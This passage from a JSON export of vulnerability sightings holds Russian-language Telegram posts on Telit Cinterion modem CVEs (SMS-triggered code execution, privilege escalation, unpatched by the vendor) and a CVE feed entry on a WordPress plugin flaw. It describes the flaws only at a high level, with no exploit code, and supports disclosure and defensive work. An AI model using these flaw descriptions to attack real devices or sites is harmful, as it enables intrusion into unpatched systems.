\u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 REDACTED. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u043a\u0443\u043f\u043e\u043a \u0438 \u043f\u043e\u0433\u043b\u0430\u0449\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u043e\u0434\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0438 \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u0438\u0437\u043d\u0435\u0441\u0430  Gemalto, \u0447\u044c\u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u043c\u044b \u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u043d\u0430\u0448\u043b\u0438 \u0442\u0430\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b. \n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u043e\u0434\u0435\u043c\u043e\u0432 \u0441\u0442\u0430\u043b\u0430 \u043f\u0430\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-47610 - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\nCVE-2023-47611 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \"manufacturer\"\nCVE-2023-47612 - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0444\u0430\u0439\u043b\u044b, \u043f\u0430\u043f\u043a\u0438 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435) \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\nCVE-2023-47613 -  \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47614 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47615 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c\nCVE-2023-47616 - \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\n\n\u0412\u0441\u0435 \u0431\u0430\u0433\u0438 \u043f\u043e-\u0441\u0432\u043e\u0435\u043c\u0443 \u0438\u043d\u0435\u0442\u0435\u0440\u0441\u043d\u044b. \u041d\u043e, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0441\u0430\u043c\u0430\u0439 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u0430\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043f\u0435\u0440\u0432\u0430\u044f - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 SMS. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 4-5 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043c\u0441\u043e\u043a \u0438 \u0442\u043e\u0433\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u041e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0432\u043e\u043a\u0440\u0443\u0433 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u043d\u043e \u0442\u0443\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043c\u043d\u043e\u0433\u043e. \u0411\u0435\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \"\u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c\" \u0431\u0435\u043a\u0434\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0442\u0440\u0443\u0434\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c. \u0418 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0434\u044f\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\n\nBig things have small beginnings. \u042d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u0442\u0447\u0435\u0442. \u0418 \u0435\u0433\u043e \u0443\u0440\u0435\u0437\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c :) \u043d\u043e \u0438 \u0435\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0432\u0441\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u043b\u0430. \u0418\u0441\u043a\u0440\u0435\u043d\u043d\u0435 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e \u0432\u0441\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043d\u0430\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438! \n\nUPD: \u0437\u0430\u0431\u044b\u043b \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0430\u0446\u0430\u043d\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0438 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 \u043a\u0443\u0447\u0435\u0439 CERT'\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u0439 \u043f\u043b\u0430\u043d\u0435\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e \u043c\u0438\u0442\u0438\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445. \u0412\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u0439 \u0448\u0430\u0433 \u0432 \u0441\u0432\u0435\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u0430\u043d\u0442\u0430\u0441\u043c\u0430\u0433\u043e\u0440\u0438\u0438\n\n\u041e\u0442\u0447\u0435\u0442:\nhttps://ics-cert.kaspersky.ru/media/Kaspersky-ICS-CERT-Cinterion-EHS5-whitepaper-Ru.pdf", "creation_timestamp": "2024-06-13T14:38:15.000000Z"}, {"uuid": "5457ba35-91d0-4a48-95c2-2f1f3051d4ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4730", "type": "seen", "source": "https://t.me/cvedetector/3380", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-4730 - LadiApp WordPress Unauthorized Data Modification Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-4730 \nPublished : Aug. 17, 2024, 8:15 a.m. | 21\u00a0minutes ago \nDescription : The LadiApp plugn for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the init_endpoint() function hooked via 'init' in versions up to, and including, 4.3. This makes it possible for unauthenticated attackers to modify a variety of settings. An attacker can directly modify the 'ladipage_key' which enables them to create new posts on the website and inject malicious web scripts. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-17T10:37:22.000000Z"}, {"uuid": "fdfcf3cd-d116-474a-aaf9-b9af3b4bd7ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47611", "type": "published-proof-of-concept", "source": "https://t.me/sycebrex/167", "content": "\u0423\u0420\u0410 \u041d\u0410\u0421\u0422\u0410\u041b \u0422\u041e\u0422 \u0421\u0410\u041c\u042b\u0419 \u0414\u0415\u041d\u042c!\n\n\u0423 \u043d\u0430\u0441 \u0432\u044b\u0448\u0435\u043b \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0438 \u0432\u0430\u0436\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0439 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0438 \u0434\u043b\u044f connected \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0432 \u0446\u0435\u043b\u043e\u043c. \u0414\u043b\u044f \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u0435\u0439, \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u0438\u0441\u0442\u0435\u043c \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438, \u0434\u043b\u044f REDACTED, \u0434\u043b\u044f REDACTED, \u0438 \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432 REDACTED. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0432\u0441\u044e \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u043a\u0443\u043f\u043e\u043a \u0438 \u043f\u043e\u0433\u043b\u0430\u0449\u0435\u043d\u0438\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043c\u043e\u0434\u0435\u043c\u044b \u0432 \u0441\u0432\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u044b\u043b\u0438 \u0447\u0430\u0441\u0442\u044c\u044e \u0431\u0438\u0437\u043d\u0435\u0441\u0430  Gemalto, \u0447\u044c\u0438 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u044b \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u043c\u044b \u043b\u043e\u043c\u0430\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442 \u043d\u0430\u0437\u0430\u0434 \u0438 \u043d\u0430\u0448\u043b\u0438 \u0442\u0430\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b. \n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u043e\u0434\u0435\u043c\u043e\u0432 \u0441\u0442\u0430\u043b\u0430 \u043f\u0430\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-47610 - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430\nCVE-2023-47611 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f \"manufacturer\"\nCVE-2023-47612 - \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0444\u0430\u0439\u043b\u044b, \u043f\u0430\u043f\u043a\u0438 \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0435) \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\nCVE-2023-47613 -  \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043f\u043a\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0447\u0442\u0435\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47614 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0438 \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\nCVE-2023-47615 - \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c\nCVE-2023-47616 - \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u0440\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435\n\n\u0412\u0441\u0435 \u0431\u0430\u0433\u0438 \u043f\u043e-\u0441\u0432\u043e\u0435\u043c\u0443 \u0438\u043d\u0435\u0442\u0435\u0440\u0441\u043d\u044b. \u041d\u043e, \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434, \u0441\u0430\u043c\u0430\u0439 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u0430\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043f\u0435\u0440\u0432\u0430\u044f - \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 SMS. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 4-5 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043c\u0441\u043e\u043a \u0438 \u0442\u043e\u0433\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0442\u043e \u0442\u0443\u0442 \u0432\u0441\u0435 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u041e\u0447\u0435\u043d\u044c \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e. \u0423\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043e\u0442 \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u041c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0432\u043e\u043a\u0440\u0443\u0433 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u043d\u043e \u0442\u0443\u0442 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043c\u043d\u043e\u0433\u043e. \u0411\u0435\u0434\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \"\u0437\u0430\u043b\u0438\u0432\u0430\u0442\u044c\" \u0431\u0435\u043a\u0434\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0447\u0435\u0440\u0442\u043e\u0432\u0441\u043a\u0438 \u0442\u0440\u0443\u0434\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c. \u0418 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0438\u0434\u044f\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b\n\nBig things have small beginnings. \u042d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u043e\u0442\u0447\u0435\u0442. \u0418 \u0435\u0433\u043e \u0443\u0440\u0435\u0437\u0430\u043d\u043d\u0430\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c :) \u043d\u043e \u0438 \u0435\u0435 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0432\u0441\u044e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u043b\u0430. \u0418\u0441\u043a\u0440\u0435\u043d\u043d\u0435 \u043f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e \u0432\u0441\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443, \u043a\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u043b \u043d\u0430\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438! \n\nUPD: \u0437\u0430\u0431\u044b\u043b \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0430\u0446\u0430\u043d\u044b \u0432\u043e\u043e\u0431\u0449\u0435 \u0440\u0435\u0431\u044f\u0442\u0430 \u0438 \u0434\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0447\u0435\u0442\u0430 \u0441\u0432\u044f\u0437\u0430\u043b\u0438\u0441\u044c \u0441 \u043a\u0443\u0447\u0435\u0439 CERT'\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u0439 \u043f\u043b\u0430\u043d\u0435\u0442\u0435, \u0447\u0442\u043e\u0431\u044b \u0442\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e \u043c\u0438\u0442\u0438\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0430\u0445 \u0438 \u0440\u0435\u0433\u0438\u043e\u043d\u0430\u0445. \u0412\u0430\u0436\u043d\u0435\u0439\u0448\u0438\u0439 \u0448\u0430\u0433 \u0432 \u0441\u0432\u0435\u0442\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 